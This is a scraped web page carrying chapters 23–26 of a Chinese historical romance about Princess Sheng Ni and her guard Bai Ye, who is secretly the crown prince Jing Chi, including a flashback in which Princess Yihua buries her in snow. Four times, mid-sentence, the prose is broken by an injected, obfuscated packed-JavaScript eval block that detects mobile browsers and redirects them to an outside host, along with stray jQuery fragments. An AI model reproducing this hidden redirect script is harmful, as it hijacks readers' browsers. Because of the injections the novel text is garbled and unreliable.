“这些臣很明白。”徐晏也冷下语气,“难道不是殿下在一步步引导嘉琬发现水面下的真相?难道不是殿下在一点点将嘉琬推向漩涡席卷的中心?” “这是孤与嘉琬之间的事。”景迟逼近一步,揪住徐晏的衣领,刀锋般的目光死死摄住徐晏,不许他再忤逆,“不要自作主张,有些自以为无关紧要的信息泄露出去,最后不知会卷成什么风浪。你只顾念着嘉琬,一旦暴露你与孤同党而营,会害了徐家满门……” “白夜!” 一声娇叱传来。 景迟和徐晏同时定住动作看过去,就见盛霓提着裙裾在婢女们的簇拥下快步走来。 “白夜,反了你,怎能欺负徐九公子!” 盛霓简直气死了。徐九是好心来送药的贵客,便是再有不快,总得讲个尊卑有别,这个白夜真是半点不懂规矩,竟敢如此以下犯上!真是反了! 徐晏预感到气氛不对,推开景迟,压了压方才的怒气,赶紧劝道:“小殿下误会了,不是小殿下想的那样——” 盛霓哪里听得进去,秀眉倒竖,愤然道:“白夜,还不快向徐九公子赔不是!” 23. 旧疾 向徐燕臣赔不是? 同窗六载,景迟还从未做过这种事。 徐晏不甚自在地摆摆手:“不必,不必,方才只是误会,小殿下不要放在心上。” 就见景迟后撤一步,长臂一展,倾身拱手一礼,道:“末将以下犯上,不懂规矩,自请领罚,还望徐九公子见谅。” 徐晏迅速侧身避开,心里暗叫一声折寿。 折了个大寿。 “白、白大统领言重了,在下说过,只是误会。” 见徐晏脸色依然不豫,盛霓便知方才这二人是真动了火气,不由又剜了景迟一眼,歉疚地送徐晏出府。 “念在首次犯错,从轻,罚白夜半月俸禄。”送走了徐晏,盛霓对晚晴道。 “罢了,”盛霓想到了什么,改口,“他初到燕京,许多事等着耗费银钱,还是不要罚俸了,叫他休息好了写一份书面检讨给本宫,保证不再乱了规矩。” 晚晴憋住笑:“是,小殿下。” 小殿下看不见的时候,那白夜时常流露出一副万人之上的傲慢模样,下人们看不惯。叫他写检讨,真是专治不服。 “对了,白夜的盘州履历预计何时能够传回京城?” “好在盘州距京城不远,再过两日应当差不多了。” - 傍晚,景迟亲自巡夜完毕,回到罩房寝舍。 推开门,室内一片寂静漆黑,窗子大开,初冬的夜风卷进来,将侍卫为巴结新大统领安置的两个炭盆吹得形同虚设。 一个黑影立在桌案旁,衣摆在风中起伏拂动,不必点灯也能看出那是民间难得的轻柔料子。 景迟反手关上房门。 室内烛灯应声点亮。 恭候多时的红衣少年垂首拜倒:“无明拜见主子。” 景迟抬了抬手,示意名叫无明的少年平身。 “禀主子,查清了,去年腊月初三,天降大雪,颐华郡主仗势欺侮了嘉琬公主,致使嘉琬公主受了寒。” “腊月初三……”景迟在简陋的胡椅上坐下,修长手指一下一下叩击着桌案,回想这个日期,“嘉仪公主殡礼?” “正是。那日谨王妃出殡,颐华郡主在钟慧公主府前闹事,逼得嘉琬公主从停灵的国恩寺一路纵马回城,这才有了后续的冲突。” 那日,众人都在国恩寺等待出灵时辰。在那之前谁都没有想到,头一个葬入新修成的大延皇陵的,不是景氏皇族,而是嫁作景家妇的前朝公主。 钟慧公主府传来消息,颐华郡主程菁菁披着一身火红斗篷,着火红衣裙,在钟慧公主府前赏雪吹笛,已有数个时辰了。 钟慧公主府原是座在前朝便已空置的府邸,距皇城甚远,周边景致自然萧落,若说在挂了白的府门前吹笛是为了赏雪助兴,鬼都不信。 姐姐薨逝,程菁菁便是如此招摇称庆的。 欺人过甚。 十四岁的盛霓恨得五脏俱碎,顾不得乘车,抢了一匹快马一路驰回城内。 风雪刮在脸上,将泪痕凝成了薄霜,吹散了她乌黑如瀑的长发。 长长一路疾驰,寒意穿透素服,仿打在盛霓瘦小的身躯上,几乎将她整个人都冰封起来。可是盛霓完全感觉不到,姐姐是她在这世间最后的亲人,她不能允许有人如此糟蹋姐姐。 盛霓记不清自己用了多久抵达钟慧府门前,翻下马背的时候,握缰的双手已冻得没了知觉,只剩痛胀的灼热。 模糊视野里,乱雪纷飞,满目的银装缟素间,那一道鲜红的身影如刀尖般刺目,直直戳进盛霓的眼底。 这一条街都被庆国公府的卫队封住,钟慧公主府的侍卫和下人们被庆国公府的卫兵以数量碾压,全部拦在路对面,无法靠近颐华郡主半步。 “程菁菁,你为什么要这么做?犯人魂灵,不怕遭天谴吗!” 盛霓的牙关已经不听使唤,痉挛般地咯咯打颤。 程菁菁抬手捏住盛霓冻得冰凉的小脸,恶狠狠地盯住那张与谨王妃极度相似的面容,一字一顿地从牙缝里挤出回答:“半生相思东流去,此恨绵绵,无绝期。” 盛霓用力推开程菁菁的手,“两姓之好,男欢女爱,岂是强求来的?你不过是自己一厢情愿,便是没有我姐姐,难道谨王姐夫就一定会选你?将一切怪到我姐姐头上,这是哪来的道理!” “但凡是我程菁菁看上的,从来没有得不到的。这辈子我只心悦这一个男人,谁跟我抢,我就饶不了谁!” 程菁菁使劲推搡过去,将单枪匹马的盛霓推倒在雪地里。 “怎么不去找太子哥哥求情了?继续去求啊,就像求他为嘉仪寻回尸身那样,求他来帮你啊。” “你在说什么……”盛霓艰难地从湿冷的雪地里爬起来,听不懂程菁菁的意思。 “装什么不知情。”程菁菁笑得阴阳怪气,“若不是你去求太子哥哥,他会在御前力主继续搜寻尸身?当时圣上可是又发了好大的火呢。” 盛霓用力晃了晃冻得发昏的脑袋,白雪沾在披散的青丝上,如落花般被摇落。 太子哥哥,拼着触怒龙颜也坚持力主搜寻姐姐的尸身? 他为什么? 程菁菁一挥手,豪奴一拥而上,将盛霓再次推倒在冰雪中。 “哦,想起来了,太子哥哥病得不能见客呢,怕是不能赶来救你了。” 程菁菁居高临下地拢了拢火红的斗篷,婢女立刻上前将她肩头的落雪仔细拂去。 “给我埋了她,让她同她那狐狸精姐姐作伴去吧!” 几个婆子按住盛霓不许她挣扎,健奴们奉命往她身上一捧一捧地盖上积雪。 程菁菁身边的婢女小声道:“郡主,这样不好吧,若被国公爷和长公主知道了……” 程菁菁恼怒地拧了婢女一把,“就你长了嘴?雪还真能埋死人不成!” 婢女吃痛,慌忙跪地请罪。 冰凉的雪一点点被人体的温度融化,冰湿的雪水浸透素服,让素服连同几层衣衫一并贴到身上,几乎将五脏六腑都冰冻起来。 盛霓拼命挣扎,可是根本无济于事。 乱雪飘落,落进她的眼睛里,顺着泪水滑过眼角,让泪水也变得冰冷。 公主府众人企图冲过来,与庆国公府的卫队打得昏天黑地。 有人拂去盛霓脸上的脏雪,将她从雪堆里抱出来。 盛霓只觉自己的意识像是飘在虚无的半空,已经感觉不到身体的存在。 一片苍茫的朦胧里,那人戴着雪色的幕离,仿佛与这天地融为一体。 在梦里,盛霓无数次努力想抬起手,撩开那道轻纱看看他是谁,可是手臂沉重得根本不听使唤。 已经过去了这么久的事,不知为何又突然梦回。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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盛霓睡不着,索性披衣起身到院中走走,可是晚晴每隔二十步就要劝她回去,盛霓便不许她们再跟着,一个人提灯走到前院来。 她望见罩房有一间寝舍亮着灯,看方向像是一队队长阿七的房间,该不会这小子还念念不忘大统领之位,气得睡不着吧? 阿七是宫里跟过来的老人儿,护卫她和姐姐多年了,盛霓不忍心不闻不问让这小子一个人一直生闷气。 走到半路,那灯却又熄了,分不出方才亮着的究竟是哪间。 盛霓正想放弃,又隐隐听见似乎有说话声。 她耳力极佳,那细小的声音夹在风中,常人根本分辨不出。 盛霓放轻脚步走到一扇门前,伸手轻轻推了一把,“阿七,是你吗?” 刹那间盛霓猛然回想了起来,这间寝舍原是阿七的没错,今日已腾出来给新任大统领居住。 蓦地,一只有力的手握住了她的手臂,将她扯进了门内,关上了房门。 白夜! 又是白夜! 盛霓刚想申斥就被捂住了嘴。 景迟用手臂箍住盛霓的身体,使她不能乱动发出声响,凑近她耳畔轻声道:“外面有人,殿下别出声。” 24. 夜行 外面有人? 盛霓本来不在乎这些,但被白夜这样紧张兮兮地附耳一说,下意识紧张地屏住了呼吸。 “咦,莫不是方才眼花?明明看见小殿下了呀。”晚晴的声音透过门缝传进来。 另一个婢女嘻嘻笑道:“此处是卫队寝舍,小殿下怎会来?定是绕到东面瞧池水里的月影去了,走,咱们去那里捉小殿下。” 一行人笑着捉人去了,声音渐远。 盛霓松了一口气,眼睛也已适应了屋内的幽暗。 她这才发觉自己还被白夜禁锢着,隔着厚厚的冬衣,背心贴紧他的胸腹,实在不成个体统。 盛霓挣动了一下,景迟放开了她。 盛霓转过身,见那道高挑的黑影立在夜色里规规矩矩的,五分的火气便减了三分,哼道:“你这人好没规矩,拉本宫躲进来做什么?本宫是公主,便是蓄养面首也是常事,被人看到本宫在此又能怎样?” 黑夜里,白夜清越干净的嗓音低低响起:“殿下金尊玉贵,自然不必拘于民间对女子的道德束缚,但末将却是个普通人,若被人误会殿下午夜私会末将,末将一世清白便毁了。” “你——” 盛霓简直噎住。 他一个大男人,什么清白不清白的,倒指责起她来?真是岂有此理! 黑夜里,景迟平静地道:“殿下请回吧,恕末将不便近身相送。” 什么意思,说得好像她是什么勾人的小妖精,若不是他强行将她拉进门来,根本不会有眼前的尴尬场面,说到底还不是怪他自己? 盛霓恨恨咬住下唇,咽不下这口冤枉气。 盛霓上前一步,抬手拉住景迟的衣领,手上用力,将他拽得俯下身来。 一种冷淡的青柏香气隐隐约约,很衬他那份干净。 “不便近身相送?”盛霓浅笑,柔嫩的嗓音分明纯稚,却暗藏少女天然的媚,“如此近身,能将你怎样?” 少女身上的鹅梨香气漫开,仿佛一场无形缭绕的轻歌曼舞。 景迟没有退开,十分恭顺地定在原地,那双幽幽的眸子在暗夜里宛若深潭。 只是一瞬,盛霓便松开了手,挑衅地哼笑一声,拉开房门头也不回地走掉了。 寒风从没有关紧的门缝里钻进来,将室内的甜香和温度卷得支离破碎。 “呵,小公主。” 半晌,景迟嗤笑。 小小年纪,天生媚骨,张口闭口就是面首,她懂得什么叫做面首吗?也不知那小脑袋瓜里都装了些什么天马行空的东西。 - 黎明之前是一夜中最黑暗的时刻。 庆国公府万籁俱寂,连下人们也尚在酣眠,只有巡夜的护卫刻意放得很轻的整齐脚步声由近及远。 程菁菁被一阵闷闷的敲击声吵醒,迷迷糊糊坐起身,张口想唤人斟茶润喉,可是窗口处传来的叩击声令她感到一阵莫名的心悸。 程菁菁抱紧怀中发热的暖囊,掀开床幔,朝窗口处看过去,想知道是什么鸟儿胆敢啄自己的窗子。 一看之下,她浑身的血液几乎凝固。 檐下灯光在宽阔的槅窗上投下一道男人的影子,男人正不紧不慢的轻叩着窗棱。不会惊动下人,却能将她唤醒。 “哥哥!你怎么起得这样早?天还没亮呢,吓妹妹一跳!” 程菁菁拍着心口,怀中暖囊持续又温和地散发着热度,让她因惊吓而冲上头顶的血液慢慢回流。 “哥哥,你是不是又宿夜欢宴去了?”程菁菁披了件没有一丝杂色的长毛狐裘,抱着暖囊走到窗前,故作娇嗔地用力推开窗子,“让我瞧瞧,这次带了什么好玩的给我——” 话说到一半,程菁菁看清了窗外男人的相貌,瞳孔骤缩,身子一抖,怀中暖囊险些脱手。 程菁菁胸口剧烈起伏,低声惊斥:“你是嘉琬的那个姘头?我庆国公府戒备森严,你如何进得来?” 景迟竖起食指抵在唇上,冷淡的面色如冰山压来。 “郡主噤声,若惊动了贵府之人,且看是末将的刀快,还是他们敢来救护郡主的脚程快。” “你好大的胆子,敢威胁我?”程菁菁怒道,但终归是怕了,声音压得更低,不敢高呼示警。 “末将深夜前来,是有话需当面向颐华郡主核实。” 程菁菁不傻,明白眼前这人的身手之强,自己与他硬碰讨不到好处,且看这小白脸的意思,并不打算伤人。 程菁菁扬起下巴,哼道:“有话快说,说完快滚!” “嘉琬公主的寒症,是不是你害的?” “呵……”程菁菁简直笑了,“我当是什么要紧事,值得你这样的高手夜闯国公府,原来是为了那个小狐狸精。” “郡主,慎言。”景迟的嗓音寒似利刃。 程菁菁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15000598|161757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听得脊背一阵发凉,悻悻闭了口。 说来也怪,不过是个下贱的侍卫统领,与奴仆无甚差别,程菁菁却觉着自己的威仪竟压不过他。 不,她程菁菁怎么能被一个冷脸的侍卫压过一头去? 程菁菁裹了裹厚实的狐裘,抱臂冷笑道:“我就不明白了,嘉琬修了什么福分,竟得了你这样一个忠心、漂亮又能干的侍卫。喂,她给了你什么好处,说出来,本郡主出双倍,往后便跟着我,在外也好抬得起头来,怎么样?” “能入钟慧公主府效命,是末将的福分才对。”景迟纠正,“只要嘉琬公主肯收留末将,让末将做什么都可以。” 程菁菁的脸色登时难看起来,她怎么就没有如此忠心的护卫呢? “你……你就是嘉琬的一条狗!”程菁菁气急。 “郡主,可有吩咐?”外间的婢女听见动静,轻轻敲了敲房门。 程菁菁闭上嘴,那婢女没听见后续的动静,以为自己方才幻听,便退下了。 “郡主费了这许多口舌,还未告诉末将,嘉琬公主的寒症到底是不是郡主害的?犯人魂灵,埋人入雪,仗势欺人,到底是不是你?” 景迟没耐性再陪她绕圈子,猛然伸出手,轻轻捏在了程菁菁细长的脖颈动脉处,稍稍用力,血液便流通不畅起来。 “你干什么……”程菁菁畏惧地抓住他劲瘦有力的腕子,想挣脱,那腕子却仿佛铁钳,根本不容撼动。 他只消收紧力道,就可以结果了她。 “你敢动我?你敢为了嘉琬那小狐狸精得罪我庆国公府?”程菁菁面色煞白,“今日你若伤了我,明日我阿爹就能要了嘉琬的命替我报仇,你有胆子只管试试!” “听闻郡主在查末将的出身,不知郡主查到了没有。”景迟手上依旧维持着不松不紧的力道,不致伤人,却足以阻住颈脉中的血流,使人呼吸困难,“想必是没有查到,否则也不会说出这般天真狂妄的话来。” “瞧你那副高高在上的样子,不过是嘉琬身边的一条狗,装什么天皇老子,”程菁菁骇得手脚冰凉,嘴上却不肯求饶,“查了这几日都无所收获,可见你只是个名不见经传的小子,有什么资格站在这里威胁我?叫我阿爹阿娘发现了,定将你五马分尸!” “再费力气也是查不到的。”景迟勾起唇角,不可见底的眸中却毫无笑意,“末将的出身,直接告诉郡主也不妨事。” 25. 恐吓 程菁菁不屑一顾地冷哼:“凭你武艺再高,不过是个给异姓公主卖命的下人,能有什么好出身?” 景迟慢条斯理地从怀里取出一块令牌,提着金丝绳递到程菁菁面前。 赤金令符在檐下灯笼的暖黄光晕里发出刺目的金光,其上遍布的獬豸纹精巧细腻,当中刻着雄浑磅礴的古体名字。 白夜。 原来他名叫白夜。 然而最妙的并非令符的精巧或是名字的不祥,而是右下角的三个小字。 秦镜使! 程菁菁便是没见过秦镜使的令牌,也认得那惊心动魄的三个字。 程菁菁面色一变,倒抽一口冷气,抬手死死捂住嘴,生怕自己一个没忍住便尖叫出来。 “你、你、你是秦镜使?”程菁菁颤声问。 景迟捻动着令符的金线,让那道撼人心魄的令符在灯光下徐徐旋转,不紧不慢地道:“末将奉皇命护卫嘉琬公主,怎么,颐华郡主瞧着眼红?” “这不可能……”程菁菁抱紧怀中的暖囊,仿佛自语,“舅舅他怎么可能如此关照嘉琬,不惜指派秦镜使为她南下祭天保驾护航?” 景迟没有再给程菁菁更多的时间,他似笑非笑地冷声问:“现在,郡主可以回答末将的问题了吗?倘若有半句虚言,末将保证秦镜使会来敲庆国公府的大门。” 秦镜司毕竟代表着帝王君权,每一个秦镜使都是直接效忠延帝的一把利刃,就算是庆国公府,在皇权面前也无法轻易说出一个“不”字。 “……是我做的又如何?”程菁菁抬起下巴,竭力维持镇定。 “欠债还钱,杀人偿命,一报还一报,仅此而已。”景迟侧耳听了听,内院巡夜的卫队差不多快要转回来了。 程菁菁警惕地盯着他,眼底已藏不住恐惧,“你——你想干什么?这是我和嘉琬的私事,秦镜使纵然霸道,却从不因私废公,你想坏了舅舅的规矩吗!” 景迟眸色森然。 程菁菁朝窗外使劲望了望,明白此刻没有人能救自己。这个名叫白夜的侍卫,武功深不可测,又有秦镜使的身份护持,就算他此刻动了杀念……只怕也不会留下痕迹。 “白统领,白将军!饶过我这次,你想要什么庆国公府都给得起!”程菁菁不敢惊动旁人,把声音压得更低。 这显然不是景迟想要的答案。 程菁菁额头微汗,心头气闷难当,她长这么大还从未向人如此低声下气过,这人竟不为所动。 “我……我向你保证,以后再也不欺负嘉琬,这总可以了吧?” 景迟冷笑:“郡主害人受病痛缠身之苦,便是这般毫无忏悔之意?” 景迟一把将程菁菁抱在身前的暖囊扯在手中。 这暖囊由极其精密华丽的锦缎织成,可以摸出里面装着的是一个浑圆球体,源源不断散发出温和的热量。 程菁菁面色大变,慌忙伸手去夺,被景迟避了开。 “还给我!” 景迟动作飞快地将球体从锦袋中取出。那是一个足有甜瓜大小的圆球,发出无数橙红色的光点,就像星河与火焰共同困在其中,莹莹生辉,妙不可言。 “金火明珠,西戎进贡给大齐的国宝,本应锁在前朝国库封存,没想到竟出现在庆国公府。” 金火明珠产自深埋地底的矿石,可自行发热数十年,相传是西戎偶得的稀世珍宝,价值不可估量。 “我听不懂你在说什么……”程菁菁畏惧地后退半步,一股灭顶的恐惧几乎将她压倒。 景迟看在眼里,露出一丝愉悦的笑意,“郡主不妨猜一猜,圣上若知道这颗皇宫里怎么都找不出来的宝珠就藏在庆国公府,他老人家会不会对庆国公府……另眼相看?” 听到“另眼相看”四字,程菁菁只觉全身的汗毛都竖了起来。 “你、你胡说!这、这哪是什么金火明珠?你秦镜使再厉害,总归不是皇城中人,封锁森严的前朝国库只有舅舅和太子哥哥去过,你蒙谁呢!” “它若不是金火明珠,郡主又紧张什么?” 只见他修长的手指抓紧宝珠,不知用了什么神力,那明珠倏然崩碎,化作无数碎石,在檐下灯笼的映照下光彩夺目,璀璨生华。 “不要——” 程菁菁痛心疾首地望着那化为碎石的明珠,双目圆瞪,几乎当场厥过去。 这一声惊叫喊得惨,立时惊动了外间下人和不远处巡夜的卫队。 景迟利落地扯开锦袋,将碎石兜了个干干净净,一片碎屑都没落下。 “末将不伤女郎,但郡主日后若再难为我家公主,可就不一定了。” 下一瞬,他纵身跃上了屋顶,消失在黎明前的浓重夜色里,仿佛一支轻盈的箭羽,悄无声息地来过,又不留痕迹地走了。 婢女匆忙进来查看的时候,程菁菁已经倒在窗前不省人事,窗子大敞,冬夜的冷风将屋内灌得如同冰窖。 郡主挚爱的那只暖囊不见了,连同里面的无人见过的圆球一起,从庆国公府蒸发了。 - 徐晏一连几日亲自登门送药,盛霓都有些不好意思了。 看来徐九公子同大家口中相传冷傲的完全相反,分明热心肠得很,总是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15000599|161757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一百个放心不下,非要日日为她请脉,反复斟酌传功驱寒的最佳时机。 这日送走了徐晏,云朱呈上了一封帖子。 是宁阳长公主遍请燕京名流去她家邬园观赏秋景的请帖。 邬园是建在燕京城北的一座别苑,原是前朝一个亲王的产业,泷西节度使将盛氏皇族赶尽杀绝后,这些无人继承的家业就都收入了当今延帝名下,延帝又将此处绝佳之地赐给了唯一的嫡亲妹妹宁阳长公主。 邬园依梦涵山余脉而建,极尽精美,庆国公和宁阳长公主夫妇每年都会在邬园举办春秋两场大型雅集,登高雅集、赏景食蟹,大半个燕京城的勋贵都会捧场,乃是轰动京城的盛事。 今年却又不同。 因今年大延王朝初开秋狝,这场雅集便延后至今,主打的是留观秋色。当今时节百木凋零,帖子上却写道邬园内秋意仍存,不知又靡费了多少园艺功夫。 云朱请示:“小殿下,再过几日便启程南下了,只怕数月内再也没有游玩赏乐的机会,不如去透透气,见见故友,留点念想。管它是谁家主办,不过是提供个场子,小殿下不理程家兄妹便是。” 云朱说得委婉,盛霓又哪会听不出,她是不希望自己驳了庆国公和宁阳长公主的脸面。毕竟前几日和程家兄妹当街冲突,闹得甚是不快,这次若回绝了邀约,便是怨上加怨,论权势,日后怎么都是钟慧公主府吃亏。 云朱见公主不语,又道:“还有一事,颐华郡主病了,雅集当日多半不能出席,小殿下大可以清净了呢。” “她病了?前几日不是还生龙活虎的?”盛霓诧异地看向云朱,“庆国公将她看得比眼珠子还重,处处照料精心,怎会突然病了?” 云朱压低了声音:“听闻,是因为邬园雅集在即,颐华郡主的相思病又犯了,大半夜的开着窗子望了一夜的月亮,第二日一早便染了风寒,病了!” 邬园雅集燕京勋贵都会到场,程菁菁痴慕的谨王自然也会出席。就连太子,若不是如今“卧床不起”,也会露个面的。 盛霓摇头,“本宫不会去。” “可是……” 云朱面露难色。彻底得罪庆国公府于公主而言终归不是好事,这一年来公主在颐华那小泼妇跟前吃的亏还不够吗? 正此时,晚晴一脸凝重地闯了进来,似乎有要紧事要回禀,竟连礼数都顾不得了。 云朱极少见到晚晴如此失态的时候,心下一紧,不敢怠慢,当即领着殿内一众婢女退了出去,关上了殿门。 晚晴两步并到盛霓身侧,附耳道:“白夜的真实身份……查出来了!” 26. 礼物 下人禀报白大统领求见的时候,盛霓几乎下意识就想回绝。 白大统领是……秦镜使啊。 他怎么会是秦镜使呢? 圣上选派一名秦镜使到她身边护卫,外人乍一听闻,联想到她即将南下的行程,定会觉着这是为了保证祭天大典顺利进行,所以格外恩宠。 可是没有人比盛霓和晚晴更明白钟慧公主府的处境。 被延帝冷落多年的异姓公主,一朝接到赴盛氏祖地祭天的重任,原就有些古怪,如今偏偏指派一位秦镜使到她身边,更是不合常理。 延帝若担心她一路的安危,大可指派一名武功卓著的将才,为何偏偏是秦镜使? 在聆风楼上看到白夜的第一眼,那种森冷的寒凉感一瞬间又回到心头。 “晚晴,金陵祭天大典不对劲。”盛霓抓住晚晴的手,“问题的根源已经不是白夜的出现,而是圣上命本宫祭天的旨意!” “什么……”晚晴瞳孔震颤。 晚晴收到下面反馈上来的调查结果时,只是对于秦镜使这个身份感到本能的恐惧,却不曾细思背后的暗潮涌动。 藏在旨意背后的真实意图是什么?晚晴刹那间联想出许多不堪细想的答案。 让小殿下永不回京?还是别的什么更加可怕的谋算? “小殿下!我们怎么办?”晚晴吓得不轻。 “别怕。”盛霓捏了一把晚晴白白软软的小脸,“凭他们想做什么,本宫绝不会坐以待毙。” 在盛霓澄澈又平和的目光中,晚晴渐渐镇定下来。 “还愣着干什么?”盛霓故作嗔怒地推了推晚晴,“不是说白大统领在外求见吗,还不快将人唤进来?” 晚晴迟疑:“小殿下这时候还是不要见他了吧?” “为何?” 晚晴也说不清缘由,一旦知晓对方是个令人闻风丧胆的秦镜使,连想到他时都会觉得不自在。 谁知道哪句话会被他密报给圣上? “不必这般紧张。”盛霓掩口轻笑,“我们钟慧公主府光明磊落,有什么不能见人的?行事刻意反而惹人猜忌。” 晚晴点头称是,不由佩服公主的泰然自若,自己非但没能为主子分忧,反而先慌了神。 小殿下当真从大殿下逝去的阴霾中走了出来,依旧乐观,愈加勇敢,由内而外地散发出安定人心的力量。 “小殿下,不论日后发生什么,奴婢永远陪在小殿下身边。还有云朱姐姐和阿七他们也是一样,我们永远与小殿下一条心。” 盛霓作出一副嫌弃的表情,嗔道:“哪里就沦落到这步光景了。凭他有什么阴谋,本宫是主,他是臣,还能翻出什么花儿来?” 晚晴福身称是。 “让白夜到寝殿来见本宫。” 盛霓指的是,内室。 晚晴一惊:“他一个污浊男儿,怎么配入小殿下起居的内室?” 盛霓扬了扬小巧的下巴,促狭地眨眨眼,道:“在外间,他觉着自己是了不得的秦镜使,到了这内室,在只属于本宫一个人的地盘上,他最好给本宫乖乖的。” 晚晴想了想,恍然:“这是从前大殿下教过的领地概念,讲的是心术。一个人到了另一个人的绝对领地,多多少少都会有几分收敛和束缚。” 盛霓笑着横她一眼:“就你聪明。还磨蹭着不去请人?” 盛霓见到景迟的高挑身影投在细腻的轻纱立屏上的时候,心头竟闪过一丝遗憾。 从赵逆手中将她救下的人是他,在街头逼退程家兄妹的人是他,陪她去普度寺祈福的人也是他。 虽然明知他怀着不肯告人的目的,但当知道他是行走在黑白交界的秦镜使时,还是觉得失望。 “进来吧,站在那儿做什么?”盛霓靠在长榻上懒洋洋地道,声音不自觉地微冷。 落霞秋水立屏后的男人迟疑了片刻,最终还是遵从地转出身来。 他守礼地低垂着眼眸,只象征性上前了两步,便即单膝拜倒:“末将参见嘉琬殿下。” 室内燃着的是盛霓最爱的梨月香,四处柔幔低垂,风过处轻纱飘扬。 盛霓瞧着他正气凛然的身影,目光停在了他微微泛红的耳尖上。 明明不习惯这室内的甜香,却还硬撑着一副忠肝义胆的模样,不肯违抗她的命令。这副伪装出来的忠诚让盛霓皱了皱眉。 她从小到大,除了叛走的赵双全,身边皆是忠心之人,还是第一次见到这种惯于演戏的小人。 “白大统领手里拿的什么?”盛霓问道。 那是一个崭新的绣着梨花纹的清素锦袋,不知里面装着什么,但一定不是香料,没有任何陌生的香气。 景迟低眉顺目地道:“回殿下,是末将寻得的暖囊,求云朱姑娘赠了这只锦袋装着,借花献佛,献给殿下驱寒。” “嗯?让本宫瞧瞧。”盛霓道。 景迟疑惑地抬眼看过去,这才发觉偌大内室半个婢女都没有,就连方才唤他进殿的晚晴也不知何时退了出去。 景迟微微瞠目。小公主竟留他独身在此。 为什么? “白夜?”盛霓等得不耐烦。 “是,殿下。”景迟收敛起眼底的狐疑,垂下视线,亲自上前,将暖囊双手奉上。 这暖囊当真神奇,不像烧着木炭,捧在手里却暖暖的。里面装的东西松松软软,摸起来像是碎石,盛霓打开锦袋,却见内芯用一层密不透风的软布缝死,看不见材料。 “这是什么?” 盛霓爱不释手地捧着,手感松软,闻听还有碎玉相碰的细响,关键是触手温暖,暖意似乎顺着掌心一直暖过四肢百骸,令人通体舒畅。 “从西域游商处偶得的取暖之物,据说常年吸收太阳的热量,可数十年不散。不过,若是拆开内层的囊袋,便不灵了。” 盛霓正用手指抠着内芯软布,想看看里面缝了些什么,闻言连忙停手。再怎么芥蒂白夜,这样舒适的暖囊她是当真十分喜欢,也十分需要。 “世间竟有这般神奇的宝物。”盛霓称赞。 景迟道:“末将一介武夫,哪里有本事弄来什么稀奇珍宝?不过是物归原主。” 物归原主。盛霓没有细想,只当这是他的巧舌如簧。 她的注意力集中在了那句“一介武夫”。 好一个“一介武夫”。 盛霓弯弯粉唇,笑意不达眼底:“是嘛。” 景迟听着语气异样,下意识抬眼看向盛霓。 小公主歪倚在描金长榻上,专注地把玩着绣工精巧的暖囊,两颊雪腮在阳光下像是透明,甜稚得仿佛不谙世事。 她发现了什么吗? 按理说程菁菁不敢将他吐露秦镜使身份之事张扬出去,但小公主兴许有自己的消息渠道。 连程菁菁凭借 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15000600|161757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庆国公府势力都查不到的事,嘉琬却先一步查到了?景迟心念电闪。 说不定有些握有权势的前朝旧人思念故主,还在暗中照看嘉琬,也是情理之中。 无妨,秦镜使原就是“白夜”的一层外衣。有了这层外衣吸引别人的注意,他的太子身份便可以彻底掩藏在秦镜使的假象之下。 小公主查到了“白夜”是“秦镜使”,就不会再去追究“秦镜使”又是谁。 “末将不打扰殿下休息,告退。” “慢着。”盛霓叫住他。 景迟侍立恭听。 “东边第三瓶,朱砂色的那支,替本宫摘一朵——不,两朵。” 景迟顺着盛霓伸手指着的方向看过去,墙边立着一排彩绘花瓶,东边第三瓶…… 不知是什么品种,色彩浓丽,花瓣微蜷,开得正盛。 景迟依言走过去,垂幔拂过肩头,他也没有动手去碰,径直去折枝。 盛霓见他这般恭谨守礼,不知是不是装的,看在眼里倒也有趣。 那年姐姐打趣她,笑她在街上不懂得欣赏过路的俊俏小郎君,日后可还能挑得出心仪的面首? 如今她也到了适婚的年纪,可是姐姐不在了,再也没人拿这样恼人的浑话逗她生气。 盛霓不禁叹息。莫说心仪的面首,便是可信的大统领都还没能挑上,只得了一个杀千刀的秦镜使,这日子真叫人烦恼。 “殿下,殿下?” 白大统领那只骨节分明的手在面前晃了好几下,盛霓才发现自己正支颐出神。 